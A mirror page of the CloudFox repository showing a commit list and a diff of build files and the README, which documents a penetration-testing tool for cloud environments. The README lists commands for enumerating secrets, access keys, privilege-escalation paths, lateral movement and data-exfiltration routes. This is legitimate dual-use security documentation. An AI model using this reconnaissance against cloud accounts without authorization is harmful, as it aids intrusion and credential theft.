mirror of
https://github.com/BishopFox/cloudfox.git
synced 2026-11-08 08:03:50 -10:00
Compare commits
192
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
5444e472e4 | ||
|
|
2e62d4d3cb | ||
|
|
5a5aa316fe | ||
|
|
142757b5c2 | ||
|
|
146034d619 | ||
|
|
9e056b29d7 | ||
|
|
871491738b | ||
|
|
033c953d57 | ||
|
|
a7e45b9ae5 | ||
|
|
ce513ba04d | ||
|
|
83f9af249d | ||
|
|
11652a9a6e | ||
|
|
6ac7a0bf6b | ||
|
|
766566e01d | ||
|
|
c6fcdba665 | ||
|
|
4f2c2cb4c9 | ||
|
|
68e09e9784 | ||
|
|
db8a6895c3 | ||
|
|
11763f04f6 | ||
|
|
be4235c7e5 | ||
|
|
0ba9e2d37f | ||
|
|
a3d1c09558 | ||
|
|
c41b35480e | ||
|
|
a3b7ab4269 | ||
|
|
60c6b8d61c | ||
|
|
8db014b136 | ||
|
|
72cd367086 | ||
|
|
f2d4b7c535 | ||
|
|
47d69d870f | ||
|
|
c9d1c2de68 | ||
|
|
a8e802404f | ||
|
|
d021ea54de | ||
|
|
7a18090609 | ||
|
|
cb8be678e7 | ||
|
|
6f45cbe900 | ||
|
|
8a248e3127 | ||
|
|
de141300e9 | ||
|
|
eb76d76dea | ||
|
|
72a551b38b | ||
|
|
59bac4ee36 | ||
|
|
44bf8e8915 | ||
|
|
70107c607f | ||
|
|
d24f817bf9 | ||
|
|
711e29e3bb | ||
|
|
04bb167273 | ||
|
|
ed732d0c01 | ||
|
|
f82547b438 | ||
|
|
35fca31475 | ||
|
|
888649616f | ||
|
|
2b272a1335 | ||
|
|
c94996e470 | ||
|
|
2f80731e5b | ||
|
|
d473e31c06 | ||
|
|
baf62fdbb2 | ||
|
|
f3f98f24e3 | ||
|
|
eedf397c93 | ||
|
|
31e2fe5fcb | ||
|
|
06a9dabf48 | ||
|
|
ce545ca9ff | ||
|
|
8954fc2a72 | ||
|
|
7bb7d947ef | ||
|
|
3c1213b0ff | ||
|
|
fbc862aef1 | ||
|
|
8dddcc83d2 | ||
|
|
36b45a64c5 | ||
|
|
333ca05a11 | ||
|
|
4a2444c05f | ||
|
|
c9edf8450b | ||
|
|
ec9a50ead1 | ||
|
|
eae16c32b4 | ||
|
|
0df2aa9240 | ||
|
|
abf1543b3e | ||
|
|
69c9070009 | ||
|
|
cf3ca3a1e0 | ||
|
|
8f6208d983 | ||
|
|
83d9611732 | ||
|
|
ba3dba2e9a | ||
|
|
b994b42708 | ||
|
|
52c12855a1 | ||
|
|
70037750c5 | ||
|
|
1bb8576a27 | ||
|
|
16b3c66624 | ||
|
|
3dbb98ffc6 | ||
|
|
b3a03ec7bd | ||
|
|
521cf7e4f4 | ||
|
|
2f9a145c12 | ||
|
|
5cb8034ae8 | ||
|
|
3c0984a1ab | ||
|
|
72b8fe1edf | ||
|
|
01c2af644d | ||
|
|
94fad691bf | ||
|
|
34c5fc24b2 | ||
|
|
be8b3e14e8 | ||
|
|
8841ea4173 | ||
|
|
7f23f3d0bb | ||
|
|
3549c98c07 | ||
|
|
a34676e4fa | ||
|
|
f5c53eccea | ||
|
|
3837d88e74 | ||
|
|
de1fd782b4 | ||
|
|
a51857f3e7 | ||
|
|
13d4cebf3b | ||
|
|
5f454761b2 | ||
|
|
ff871820ca | ||
|
|
d347f9987d | ||
|
|
3ad1cad9a1 | ||
|
|
8edc6e5755 | ||
|
|
37ac3cc921 | ||
|
|
f1cff5e6e4 | ||
|
|
5115f849f5 | ||
|
|
9e42b53d22 | ||
|
|
b28ed6a3fd | ||
|
|
0e7b006cde | ||
|
|
2cc97f508b | ||
|
|
031d666c63 | ||
|
|
d0de59dbe4 | ||
|
|
00b49aa33c | ||
|
|
12ee6c292a | ||
|
|
4584774ec1 | ||
|
|
d558e1cf55 | ||
|
|
19b825cfa6 | ||
|
|
698458cf92 | ||
|
|
dfed0491f2 | ||
|
|
7671e7e717 | ||
|
|
0c858e6cd4 | ||
|
|
0deb568e41 | ||
|
|
2806f7ea08 | ||
|
|
e54ffe8ce7 | ||
|
|
56e64d8e62 | ||
|
|
43fe99e832 | ||
|
|
5d2f2616af | ||
|
|
d8e4157e93 | ||
|
|
a104639354 | ||
|
|
296710c474 | ||
|
|
278e2658ee | ||
|
|
6b45f54699 | ||
|
|
2391bb7802 | ||
|
|
68d68fc75d | ||
|
|
7d6d16a4f1 | ||
|
|
caaf399e9d | ||
|
|
1f4f128a7a | ||
|
|
16c0f4dfe9 | ||
|
|
7e6439924a | ||
|
|
d3c042c1e3 | ||
|
|
cda06fff7a | ||
|
|
e49402991a | ||
|
|
cae31fbf21 | ||
|
|
4e75b1151b | ||
|
|
831198c42d | ||
|
|
2cb5ad2b83 | ||
|
|
efe95c02ee | ||
|
|
13bd04d3e4 | ||
|
|
b8d9d8093c | ||
|
|
b139513244 | ||
|
|
f058e1c57d | ||
|
|
a94bdc1853 | ||
|
|
89b3492399 | ||
|
|
67b84f0c74 | ||
|
|
8eec1c331b | ||
|
|
5e0eb15f7d | ||
|
|
ec497faba4 | ||
|
|
ed8e0a229c | ||
|
|
b60f479c2d | ||
|
|
ab4866fcbf | ||
|
|
00fe4fdce3 | ||
|
|
f7d1cbcdb6 | ||
|
|
b3c25bb5d0 | ||
|
|
9076beb111 | ||
|
|
878d7ec0c4 | ||
|
|
ebf9985d40 | ||
|
|
8e1e8d0c0a | ||
|
|
a88e98aedd | ||
|
|
85b9b11798 | ||
|
|
6b0970ebd7 | ||
|
|
e0dc71b414 | ||
|
|
b31f36746b | ||
|
|
0a95240b7f | ||
|
|
785b69316a | ||
|
|
547c48a249 | ||
|
|
aed3c0abdb | ||
|
|
0184e1520d | ||
|
|
70a050a973 | ||
|
|
738085dc78 | ||
|
|
0ac24e3aa1 | ||
|
|
5ba8b087ff | ||
|
|
b02ad612f0 | ||
|
|
3759d2c57d | ||
|
|
0b88bcac56 | ||
|
|
91f5f14f0e | ||
|
|
ca810a00d7 | ||
|
|
d9cbefd911 | ||
|
|
bfa95acafe |
No files matched your search
+1
-1
@@ -1 +1 @@
|
||||
* @bishopfaure @dbravo-bishopfox
|
||||
* @bishopfaure @jbarciabf @msperling-bf
|
||||
@@ -13,4 +13,4 @@ jobs:
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- run: pip install --user codespell
|
||||
- run: codespell --ignore-words-list="aks" --skip="*.sum"
|
||||
- run: codespell --ignore-words-list="aks,referers,invokable" --skip="*.sum"
|
||||
+4
-1
@@ -62,8 +62,11 @@ terraform.rc
|
||||
.DS_Store
|
||||
|
||||
untracked/*
|
||||
*tmp*
|
||||
tmp/*
|
||||
output/*
|
||||
*cloudfox-output*
|
||||
cloudfox-*
|
||||
cloudfox
|
||||
*.log
|
||||
*.bak
|
||||
@@ -75,4 +78,4 @@ dist/
|
||||
|
||||
# graphvis files
|
||||
*.gv
|
||||
*.svg
|
||||
*.svg
|
||||
@@ -13,6 +13,12 @@ linux:
|
||||
zip cloudfox-linux.zip cloudfox sha1sum-linux.txt
|
||||
rm cloudfox sha1sum-linux.txt
|
||||
|
||||
linux-arm64:
|
||||
GOOS=linux GOARCH=arm64 go build
|
||||
sha1sum cloudfox > sha1sum-linux-arm64.txt
|
||||
zip cloudfox-linux-arm64.zip cloudfox sha1sum-linux-arm64.txt
|
||||
rm cloudfox sha1sum-linux-arm64.txt
|
||||
|
||||
macos:
|
||||
GOOS=darwin GOARCH=amd64 go build
|
||||
sha1sum cloudfox > sha1sum-mac.txt
|
||||
@@ -24,22 +30,36 @@ all: windows linux macos
|
||||
.PHONY: release
|
||||
release: clean
|
||||
mkdir -p ./cloudfox
|
||||
mkdir -p ./cloudfox
|
||||
|
||||
GOOS=windows GOARCH=amd64 go build -o ./cloudfox/cloudfox.exe .
|
||||
zip ./cloudfox/cloudfox-windows-amd64.zip ./cloudfox/cloudfox.exe
|
||||
rm -rf ./cloudfox/cloudfox.exe
|
||||
|
||||
sha1sum ./cloudfox/cloudfox.exe > ./cloudfox/sha1sum.txt
|
||||
zip ./cloudfox/cloudfox-windows-amd64.zip ./cloudfox/cloudfox.exe ./cloudfox/sha1sum.txt
|
||||
rm -rf ./cloudfox/cloudfox.exe ./cloudfox/sha1sum.txt
|
||||
|
||||
GOOS=linux GOARCH=amd64 go build -o ./cloudfox/cloudfox .
|
||||
zip ./cloudfox/cloudfox-linux-amd64.zip ./cloudfox/cloudfox .
|
||||
rm -rf ./cloudfox/cloudfox
|
||||
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
|
||||
zip ./cloudfox/cloudfox-linux-amd64.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
|
||||
GOOS=linux GOARCH=386 go build -o ./cloudfox/cloudfox .
|
||||
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
|
||||
zip ./cloudfox/cloudfox-linux-386.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
|
||||
GOOS=linux GOARCH=arm64 go build -o ./cloudfox/cloudfox .
|
||||
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
|
||||
zip ./cloudfox/cloudfox-linux-arm64.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
|
||||
GOOS=darwin GOARCH=amd64 go build -o ./cloudfox/cloudfox .
|
||||
zip ./cloudfox/cloudfox-macos-amd64.zip ./cloudfox/cloudfox
|
||||
rm -rf ./cloudfox/cloudfox
|
||||
|
||||
GOOS=darwin GOARCH=arm64 go build -o ./cloudfox/cloudfox .
|
||||
zip ./cloudfox/cloudfox-macos-arm64.zip ./cloudfox/cloudfox
|
||||
rm -rf ./cloudfox/cloudfox
|
||||
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
|
||||
zip ./cloudfox/cloudfox-macos-amd64.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
|
||||
clean:
|
||||
rm -rf ./cloudfox
|
||||
GOOS=darwin GOARCH=arm64 go build -o ./cloudfox/cloudfox .
|
||||
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
|
||||
zip ./cloudfox/cloudfox-macos-arm64.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
|
||||
|
||||
clean:
|
||||
rm -rf ./cloudfox
|
||||
@@ -1,6 +1,10 @@
|
||||
# :fox_face: CloudFox :fox_face:
|
||||
CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
|
||||
|
||||
> **CLOUDFOX UPDATE REQUIRED: (12/2025):** If you are using `cloudfox`, you need to use v1.17.0 or greater. All earlier versions [stopped working after a format change in AWS's public service mapping file](https://github.com/BishopFox/cloudfox/pull/109).
|
||||
|
||||
**Overview**
|
||||
|
||||
#### CloudFox helps you answer the following common questions (and many more):
|
||||
|
||||
* What regions is this AWS account using and roughly how many resources are in the account?
|
||||
@@ -48,9 +52,9 @@ For the full documentation please refer to our [wiki](https://github.com/BishopF
|
||||
|
||||
| Provider| CloudFox Commands |
|
||||
| - | - |
|
||||
| AWS | 34 |
|
||||
| Azure | 4 |
|
||||
| GCP | 8 |
|
||||
| AWS | 34 |
|
||||
| Azure | 77 |
|
||||
| GCP | 60 |
|
||||
| Kubernetes | Support Planned |
|
||||
|
||||
|
||||
@@ -102,7 +106,53 @@ Additional policy notes (as of 09/2022):
|
||||
| `arn:aws:iam::aws:policy/AdministratorAccess` | This will work just fine with CloudFox, but if you were handed this level of access as a penetration tester, that should probably be a finding in itself :) |
|
||||
|
||||
### Azure
|
||||
* Viewer or similar permissions applied.
|
||||
* Viewer or similar permissions applied.
|
||||
|
||||
### GCP
|
||||
* Google Cloud SDK installed and authenticated
|
||||
* Application Default Credentials configured (`gcloud auth application-default login`)
|
||||
* Recommended permissions at appropriate hierarchy levels (see below)
|
||||
|
||||
#### GCP Permissions: Minimal vs Comprehensive
|
||||
|
||||
**Minimal Permissions (Single Project):**
|
||||
|
||||
For basic enumeration of a single project, the `roles/viewer` role provides read access to most resources (includes logging, monitoring, and compute/network viewing).
|
||||
|
||||
**Comprehensive Permissions (Organization-Wide):**
|
||||
|
||||
For thorough security assessments across an entire organization:
|
||||
|
||||
| Scope | Role | Purpose |
|
||||
| - | - | - |
|
||||
| **Organization** | `roles/resourcemanager.organizationViewer` | View organization structure and metadata |
|
||||
| **Organization** | `roles/iam.securityReviewer` | Review IAM policies across the organization |
|
||||
| **Organization** | `roles/cloudasset.viewer` | Query Cloud Asset Inventory for all resources |
|
||||
| **Organization** | `roles/cloudidentity.groupsViewer` | Enumerate Google Groups and memberships |
|
||||
| **Folder** | `roles/resourcemanager.folderViewer` | View folder hierarchy and metadata |
|
||||
| **Project** | `roles/viewer` | Read access to most project resources (includes logging.viewer, monitoring.viewer, compute.viewer) |
|
||||
| **Tooling Project** | `roles/serviceusage.serviceUsageAdmin` | (Optional) Manage API quotas for CloudFox operations |
|
||||
|
||||
> **Note:** The basic `roles/viewer` role includes permissions from `roles/logging.viewer`, `roles/monitoring.viewer`, and `roles/compute.networkViewer`, so these don't need to be granted separately.
|
||||
|
||||
#### GCP API Requirements
|
||||
|
||||
**APIs must be enabled in each project you want to assess.** GCP APIs are project-scoped.
|
||||
|
||||
| API | Service Name | Purpose |
|
||||
| - | - | - |
|
||||
| Cloud Identity API | `cloudidentity.googleapis.com` | Group enumeration, inherited role analysis |
|
||||
| Cloud Asset API | `cloudasset.googleapis.com` | Cross-project resource discovery |
|
||||
| Cloud Resource Manager API | `cloudresourcemanager.googleapis.com` | Organization mapping, IAM enumeration |
|
||||
| IAM API | `iam.googleapis.com` | IAM analysis, privilege escalation detection |
|
||||
| Compute Engine API | `compute.googleapis.com` | Instance enumeration, network security |
|
||||
| Secret Manager API | `secretmanager.googleapis.com` | Secrets enumeration |
|
||||
| Cloud Functions API | `cloudfunctions.googleapis.com` | Serverless enumeration |
|
||||
| Cloud Run API | `run.googleapis.com` | Serverless enumeration |
|
||||
| Kubernetes Engine API | `container.googleapis.com` | Container security analysis |
|
||||
| BigQuery API | `bigquery.googleapis.com` | Data security analysis |
|
||||
|
||||
For detailed setup instructions, see the [GCP Setup Guide](https://github.com/BishopFox/cloudfox/wiki/GCP-Setup-Guide).
|
||||
|
||||
# AWS Commands
|
||||
| Provider | Command Name | Description
|
||||
@@ -133,7 +183,7 @@ Additional policy notes (as of 09/2022):
|
||||
| AWS | [pmapper](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#pmapper) | Looks for pmapper data stored on the local filesystem, [in the locations defined here](https://github.com/nccgroup/PMapper/wiki/Frequently-Asked-Questions#where-does-pmapper-store-its-data). If pmapper data has been found (you already ran `pmapper graph create`), then this command will use this data to build a graph in cloudfox memory let you know who can privesc to admin.
|
||||
| AWS | [principals](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#principals) | Enumerates IAM users and Roles so you have the data at your fingertips. |
|
||||
| AWS | [ram](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#ram) | List all resources in this account that are shared with other accounts, or resources from other accounts that are shared with this account. Useful for cross-account attack paths. |
|
||||
| AWS | [resource-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#resource-trusts) | Looks through multiple services that support resource policies and helps you find any overly permissive resource trusts.|
|
||||
| AWS | [resource-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#resource-trusts) | Looks through multiple services that support resource policies and helps you find any overly permissive resource trusts. KMS is supported but disabled by default. To include KMS resource policies in the output, add this flag to the command: `cloudfox aws resource-trusts --include-kms`.|
|
||||
| AWS | [role-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#role-trusts) | Enumerates IAM role trust policies so you can look for overly permissive role trusts or find roles that trust a specific service. |
|
||||
| AWS | [route53](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#route53) | Enumerate all records from all route53 managed zones. Use this for application and service enumeration. |
|
||||
| AWS | [secrets](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#secrets) | List secrets from SecretsManager and SSM. Look for interesting secrets in the list and then see who has access to them using use `cloudfox iam-simulator` and/or `pmapper`. |
|
||||
@@ -145,32 +195,202 @@ Additional policy notes (as of 09/2022):
|
||||
|
||||
|
||||
# Azure Commands
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| Azure | [whoami](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#whoami) | Displays information on the tenant, subscriptions and resource groups available to your current Azure CLI session. This is useful to provide situation awareness on what tenant and subscription IDs to use with the other sub commands. |
|
||||
| Azure | [inventory](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#inventory) | Display an inventory table of all resources per location. |
|
||||
| Azure | [rbac](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#rbac) | Lists Azure RBAC role assignments at subscription or tenant level |
|
||||
| Azure | [storage](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#storage) | The storage command is still under development. Currently it only displays limited data about the storage accounts |
|
||||
| Azure | [vms](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#vms) | Enumerates useful information for Compute instances in all available resource groups and subscriptions |
|
||||
|
||||
## Core Enumeration & Analysis
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| Azure | whoami | Displays information on the tenant, subscriptions and resource groups available to your current Azure CLI session |
|
||||
| Azure | inventory | Display an inventory table of all resources per location |
|
||||
| Azure | resource-graph | Query Azure Resource Graph for advanced resource enumeration |
|
||||
| Azure | deployments | Enumerate ARM template deployments (often contain secrets in parameters) |
|
||||
| Azure | endpoints | Enumerate endpoints from various Azure services |
|
||||
| Azure | network-topology | Analyze network topology and connectivity paths |
|
||||
|
||||
## Identity & Access Management
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| Azure | rbac | Lists Azure RBAC role assignments at subscription or tenant level |
|
||||
| Azure | principals | Enumerate users, service principals, and managed identities |
|
||||
| Azure | permissions | Enumerate IAM permissions for principals |
|
||||
| Azure | privilege-escalation | Identify privilege escalation paths via RBAC |
|
||||
| Azure | identity-protection | Enumerate Azure AD Identity Protection risky users, sign-ins, and detections |
|
||||
| Azure | consent-grants | Enumerate OAuth consent grants and risky application permissions |
|
||||
| Azure | conditional-access | Enumerate conditional access policies |
|
||||
| Azure | enterprise-apps | Enumerate enterprise applications and service principals |
|
||||
| Azure | federated-credentials | Enumerate workload identity federation configurations |
|
||||
|
||||
## Security & Compliance
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| Azure | security-center | Enumerate Microsoft Defender for Cloud configuration and security assessments |
|
||||
| Azure | sentinel | Enumerate Microsoft Sentinel SIEM configuration and analytics rules |
|
||||
| Azure | policy | Enumerate Azure Policy assignments and compliance state |
|
||||
| Azure | compliance-dashboard | Display compliance status across regulatory frameworks |
|
||||
| Azure | monitor | Enumerate Azure Monitor diagnostic settings and alerts |
|
||||
|
||||
## Compute Resources
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| Azure | vms | Enumerate Virtual Machines with configuration details |
|
||||
| Azure | aks | Enumerate Azure Kubernetes Service clusters |
|
||||
| Azure | functions | Enumerate Azure Functions with environment variables |
|
||||
| Azure | webapps | Enumerate App Service web applications |
|
||||
| Azure | container-apps | Enumerate Azure Container Apps |
|
||||
| Azure | batch | Enumerate Azure Batch accounts and pools |
|
||||
| Azure | servicefabric | Enumerate Service Fabric clusters |
|
||||
| Azure | springapps | Enumerate Azure Spring Apps instances |
|
||||
|
||||
## Storage & Data
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| Azure | storage | Enumerate storage accounts, containers, and access keys |
|
||||
| Azure | filesystems | Enumerate Azure Files and Data Lake Storage |
|
||||
| Azure | databases | Enumerate SQL, MySQL, PostgreSQL, CosmosDB databases |
|
||||
| Azure | redis | Enumerate Azure Cache for Redis instances |
|
||||
| Azure | synapse | Enumerate Azure Synapse Analytics workspaces |
|
||||
| Azure | kusto | Enumerate Azure Data Explorer (Kusto) clusters |
|
||||
| Azure | datafactory | Enumerate Azure Data Factory pipelines |
|
||||
| Azure | databricks | Enumerate Azure Databricks workspaces |
|
||||
| Azure | disks | Enumerate virtual machine disks and snapshots |
|
||||
| Azure | backup-inventory | Enumerate backup vaults and recovery points |
|
||||
|
||||
## Networking
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| Azure | vnets | Enumerate Virtual Networks and subnets |
|
||||
| Azure | nsg | Enumerate Network Security Groups and rules |
|
||||
| Azure | network-interfaces | Enumerate network interfaces and IP configurations |
|
||||
| Azure | network-exposure | Analyze internet-facing resources and attack surface |
|
||||
| Azure | lateral-movement | Identify lateral movement paths via network connectivity |
|
||||
| Azure | privatelink | Enumerate Private Link and Private Endpoints |
|
||||
| Azure | vpn-gateway | Enumerate VPN Gateway configurations |
|
||||
| Azure | expressroute | Enumerate ExpressRoute circuits |
|
||||
| Azure | firewall | Enumerate Azure Firewall rules and policies |
|
||||
| Azure | appgw | Enumerate Application Gateway configurations |
|
||||
| Azure | load-balancers | Enumerate Load Balancers |
|
||||
| Azure | trafficmanager | Enumerate Traffic Manager profiles |
|
||||
| Azure | frontdoor | Enumerate Azure Front Door configurations |
|
||||
| Azure | cdn | Enumerate Azure CDN profiles and endpoints |
|
||||
| Azure | bastion | Enumerate Azure Bastion hosts |
|
||||
| Azure | routes | Enumerate route tables and user-defined routes |
|
||||
|
||||
## Secrets & Credentials
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| Azure | accesskeys | Enumerate and extract access keys from various services |
|
||||
| Azure | keyvaults | Enumerate Key Vaults and secrets (if accessible) |
|
||||
|
||||
## DevOps & CI/CD
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| Azure | devops-agents | Enumerate Azure DevOps pipeline agents |
|
||||
| Azure | devops-repos | Enumerate Azure DevOps repositories |
|
||||
| Azure | devops-projects | Enumerate Azure DevOps projects |
|
||||
| Azure | devops-pipelines | Enumerate Azure DevOps pipelines |
|
||||
| Azure | devops-artifacts | Enumerate Azure DevOps artifact feeds |
|
||||
| Azure | devops-security | Analyze Azure DevOps security configurations |
|
||||
| Azure | acr | Enumerate Azure Container Registry images |
|
||||
|
||||
## Specialized Services
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| Azure | api-management | Enumerate API Management services and APIs |
|
||||
| Azure | app-configuration | Enumerate App Configuration stores |
|
||||
| Azure | automation | Enumerate Azure Automation accounts and runbooks |
|
||||
| Azure | iothub | Enumerate IoT Hub instances |
|
||||
| Azure | signalr | Enumerate Azure SignalR Service instances |
|
||||
| Azure | streamanalytics | Enumerate Stream Analytics jobs |
|
||||
| Azure | machine-learning | Enumerate Azure Machine Learning workspaces |
|
||||
| Azure | load-testing | Enumerate Azure Load Testing resources |
|
||||
| Azure | logicapps | Enumerate Logic Apps workflows |
|
||||
| Azure | hdinsight | Enumerate HDInsight clusters |
|
||||
|
||||
## Security Analysis & Attack Paths
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| Azure | data-exfiltration | Identify data exfiltration paths and risks |
|
||||
| Azure | cost-security | Analyze cost anomalies indicating potential compromise |
|
||||
| Azure | lighthouse | Enumerate Azure Lighthouse delegations |
|
||||
| Azure | arc | Enumerate Azure Arc-enabled resources |
|
||||
|
||||
|
||||
# GCP Commands
|
||||
| Provider | Command Name | Description
|
||||
|
||||
For detailed documentation on each GCP command, see the [GCP Commands Wiki](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands).
|
||||
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| GCP | [whoami](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#whoami) | Display the email address of the GCP authenticated user |
|
||||
| GCP | [all-checks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#all-checks) | Runs all available GCP commands |
|
||||
| GCP | [artifact-registry](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#artifact-registry) | Display GCP artifact registry information |
|
||||
| GCP | [bigquery](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery) | Display Bigquery datasets and tables information |
|
||||
| GCP | [buckets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#buckets) | Display GCP buckets information |
|
||||
| GCP | [iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iam) | Display GCP IAM information |
|
||||
| GCP | [instances](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#instances) | Display GCP Compute Engine instances information |
|
||||
| GCP | [secrets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#secrets) | Display GCP secrets information |
|
||||
| GCP | [whoami](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#whoami) | Display identity context for the authenticated GCP user/service account |
|
||||
| GCP | [iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iam) | Enumerate GCP IAM principals across organizations, folders, and projects |
|
||||
| GCP | [permissions](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#permissions) | Enumerate ALL permissions for each IAM entity with full inheritance explosion |
|
||||
| GCP | [serviceaccounts](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#serviceaccounts) | Enumerate GCP service accounts with security analysis |
|
||||
| GCP | [service-agents](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#service-agents) | Enumerate Google-managed service agents |
|
||||
| GCP | [keys](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#keys) | Enumerate all GCP keys (SA keys, HMAC keys, API keys) |
|
||||
| GCP | [resource-iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#resource-iam) | Enumerate IAM policies on GCP resources (buckets, datasets, secrets, etc.) |
|
||||
| GCP | [domain-wide-delegation](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#domain-wide-delegation) | Find service accounts with Domain-Wide Delegation to Google Workspace |
|
||||
| GCP | [privesc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#privesc) | Identify privilege escalation paths in GCP projects |
|
||||
| GCP | [hidden-admins](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#hidden-admins) | Identify principals who can modify IAM policies (hidden admins) |
|
||||
| GCP | [identity-federation](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#identity-federation) | Enumerate Workload Identity Federation (external identities) |
|
||||
| GCP | [instances](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#instances) | Enumerate GCP Compute Engine instances with security configuration |
|
||||
| GCP | [gke](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#gke) | Enumerate GKE clusters with security analysis |
|
||||
| GCP | [cloudrun](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudrun) | Enumerate Cloud Run services and jobs with security analysis |
|
||||
| GCP | [functions](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#functions) | Enumerate GCP Cloud Functions with security analysis |
|
||||
| GCP | [app-engine](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#app-engine) | Enumerate App Engine applications and security configurations |
|
||||
| GCP | [composer](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#composer) | Enumerate Cloud Composer environments |
|
||||
| GCP | [dataproc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dataproc) | Enumerate Dataproc clusters |
|
||||
| GCP | [dataflow](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dataflow) | Enumerate Dataflow jobs and pipelines |
|
||||
| GCP | [notebooks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#notebooks) | Enumerate Vertex AI Workbench notebooks |
|
||||
| GCP | [workload-identity](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#workload-identity) | Enumerate GKE Workload Identity and Workload Identity Federation |
|
||||
| GCP | [inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#inventory) | Quick resource inventory - works without Cloud Asset API |
|
||||
| GCP | [storage](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#storage) | Enumerate GCP Cloud Storage buckets with security configuration |
|
||||
| GCP | [storage-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#storage-enum) | Enumerate GCS buckets for sensitive files (credentials, secrets, configs) |
|
||||
| GCP | [bigquery](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery) | Enumerate GCP BigQuery datasets and tables with security analysis |
|
||||
| GCP | [cloudsql](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudsql) | Enumerate Cloud SQL instances with security analysis |
|
||||
| GCP | [spanner](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#spanner) | Enumerate Cloud Spanner instances and databases |
|
||||
| GCP | [bigtable](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigtable) | Enumerate Cloud Bigtable instances and tables |
|
||||
| GCP | [filestore](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#filestore) | Enumerate Filestore NFS instances |
|
||||
| GCP | [memorystore](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#memorystore) | Enumerate Memorystore (Redis) instances |
|
||||
| GCP | [vpc-networks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#vpc-networks) | Enumerate VPC Networks |
|
||||
